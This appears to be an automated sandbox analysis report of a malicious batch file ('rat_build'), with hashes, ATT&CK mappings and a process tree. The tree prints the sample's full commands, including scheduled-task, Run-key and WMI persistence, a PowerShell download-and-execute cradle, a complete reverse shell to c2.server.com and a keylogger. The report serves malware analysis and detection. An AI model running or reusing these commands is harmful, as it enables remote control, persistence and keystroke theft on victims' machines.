ea2e91e81c4731dcca22a5e15b7f671c56b8071d8228626a6e56bc88a8011468

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:07

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General

Target
rat_build_49398_014213.bat
Size 4KB
Sample260529-11tpqagw2t
SHA256 ea2e91e81c4731dcca22a5e15b7f671c56b8071d8228626a6e56bc88a8011468
MD5 3167f4494e91daa02c47cc93d8cb582d
SHA1 653a8234ac4522d8e95774c7f04869966b9c8916
SHA512 bf46f93e910ee9d6f87c816cdc94d8f61e608fd2bd14b25fa26116455a776c54ff0f4f4f14f80bbba50055b6e4f99f7049ed9aabbe57ee878d2917aa3016214b
SSDEEP 96:4ZIJjWxqwM3r97QGnf2ExxAugXG75qVu4g9DBIyiFgZk8mvlo120:4ZFxqzb9MGBqug3u44ayiFgkHl70
TLSH
T1E4B1D827679A7060CAB42518DA333C54532CDDFB1314D58FBB88DEC45A4DB83E11AAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_49398.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4264	powershell.exe
5036	powershell.exe
4640	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_49398 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_49398.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4956	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1664	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4924	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2208	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5036	powershell.exe
5036	powershell.exe
4264	powershell.exe
4264	powershell.exe
4640	powershell.exe
4640	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2136	WMIC.exe
Token: SeSecurityPrivilege	2136	WMIC.exe
Token: SeTakeOwnershipPrivilege	2136	WMIC.exe
Token: SeLoadDriverPrivilege	2136	WMIC.exe
Token: SeSystemProfilePrivilege	2136	WMIC.exe
Token: SeSystemtimePrivilege	2136	WMIC.exe
Token: SeProfSingleProcessPrivilege	2136	WMIC.exe
Token: SeIncBasePriorityPrivilege	2136	WMIC.exe
Token: SeCreatePagefilePrivilege	2136	WMIC.exe
Token: SeBackupPrivilege	2136	WMIC.exe
Token: SeRestorePrivilege	2136	WMIC.exe
Token: SeShutdownPrivilege	2136	WMIC.exe
Token: SeDebugPrivilege	2136	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2136	WMIC.exe
Token: SeRemoteShutdownPrivilege	2136	WMIC.exe
Token: SeUndockPrivilege	2136	WMIC.exe
Token: SeManageVolumePrivilege	2136	WMIC.exe
Token: 33	2136	WMIC.exe
Token: 34	2136	WMIC.exe
Token: 35	2136	WMIC.exe
Token: 36	2136	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2136	WMIC.exe
Token: SeSecurityPrivilege	2136	WMIC.exe
Token: SeTakeOwnershipPrivilege	2136	WMIC.exe
Token: SeLoadDriverPrivilege	2136	WMIC.exe
Token: SeSystemProfilePrivilege	2136	WMIC.exe
Token: SeSystemtimePrivilege	2136	WMIC.exe
Token: SeProfSingleProcessPrivilege	2136	WMIC.exe
Token: SeIncBasePriorityPrivilege	2136	WMIC.exe
Token: SeCreatePagefilePrivilege	2136	WMIC.exe
Token: SeBackupPrivilege	2136	WMIC.exe
Token: SeRestorePrivilege	2136	WMIC.exe
Token: SeShutdownPrivilege	2136	WMIC.exe
Token: SeDebugPrivilege	2136	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2136	WMIC.exe
Token: SeRemoteShutdownPrivilege	2136	WMIC.exe
Token: SeUndockPrivilege	2136	WMIC.exe
Token: SeManageVolumePrivilege	2136	WMIC.exe
Token: 33	2136	WMIC.exe
Token: 34	2136	WMIC.exe
Token: 35	2136	WMIC.exe
Token: 36	2136	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1852	WMIC.exe
Token: SeSecurityPrivilege	1852	WMIC.exe
Token: SeTakeOwnershipPrivilege	1852	WMIC.exe
Token: SeLoadDriverPrivilege	1852	WMIC.exe
Token: SeSystemProfilePrivilege	1852	WMIC.exe
Token: SeSystemtimePrivilege	1852	WMIC.exe
Token: SeProfSingleProcessPrivilege	1852	WMIC.exe
Token: SeIncBasePriorityPrivilege	1852	WMIC.exe
Token: SeCreatePagefilePrivilege	1852	WMIC.exe
Token: SeBackupPrivilege	1852	WMIC.exe
Token: SeRestorePrivilege	1852	WMIC.exe
Token: SeShutdownPrivilege	1852	WMIC.exe
Token: SeDebugPrivilege	1852	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1852	WMIC.exe
Token: SeRemoteShutdownPrivilege	1852	WMIC.exe
Token: SeUndockPrivilege	1852	WMIC.exe
Token: SeManageVolumePrivilege	1852	WMIC.exe
Token: 33	1852	WMIC.exe
Token: 34	1852	WMIC.exe
Token: 35	1852	WMIC.exe
Token: 36	1852	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1852	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2024 wrote to memory of 2208	2024	cmd.exe	81
PID 2024 wrote to memory of 4924	2024	cmd.exe	82
PID 2024 wrote to memory of 2136	2024	cmd.exe	83
PID 2024 wrote to memory of 1852	2024	cmd.exe	84
PID 2024 wrote to memory of 4944	2024	cmd.exe	85
PID 2024 wrote to memory of 1664	2024	cmd.exe	86
PID 2024 wrote to memory of 4956	2024	cmd.exe	90
PID 2024 wrote to memory of 5036	2024	cmd.exe	91
PID 2024 wrote to memory of 4264	2024	cmd.exe	92
PID 2024 wrote to memory of 4640	2024	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_49398_014213.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_49398" /tr "C:\Users\Admin\AppData\Local\Temp\_49398.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2208
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_49398" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_49398.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4924
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_49398", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2136
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_49398", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_49398.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1852
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_49398.txt
  2⤵
  PID:4944
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1664
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_49398.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4640

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3e9dfdec2a1c817075bdfd2a8050630c7f8404f82e84a4374e80f124e102d49d
MD5 7a9772bc4c578c1736aa04a056f68da3
SHA1 7bb32e69db056bc9ab222ef4ef45de588b2a8efd
SHA512 2d4516747b14356725004ec2c227f56d3e2eae475d58e3fdd5b2b3dbef7382def984eb89584f11359a08d5b8ac3dc5a83fff1d9829a775ebbbcc97315265dd97
TLSH
T190115333B79CC135C8A9117A1089AD01B2B5C3CB04AEDE8B6A84C508E57F98ADBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7e87f959b73220406903590bfb403c53b86059426ec59ce1a9ec76eaf05ed42e
MD5 dd1a4b21a85ad8528aa17d414fdcc115
SHA1 1e06be3f98611d3df48c639b7d4f770765b42b06
SHA512 4a68acfe864000c597ab74f762fedf3314d34c1702533769bbb190d3b7b976bea1f1f54576d4095af69b65034c8dc990ea0740783c0cafaefde6c31a48e59dca
TLSH
T1A6117A33B79CC1B5C8D9157A1089AD01B2B6C3CB049EDECB7A84C508E57F589DB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ufn2htfo.iw4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ufn2htfo.iw4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4264-22-0x0000025C12A10000-0x0000025C134D2000-memory.dmp

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memory/4640-31-0x000001FD5CCE0000-0x000001FD5D7A2000-memory.dmp

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memory/5036-8-0x00000226F60A0000-0x00000226F60C2000-memory.dmp

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memory/5036-12-0x00000226F5370000-0x00000226F5E32000-memory.dmp

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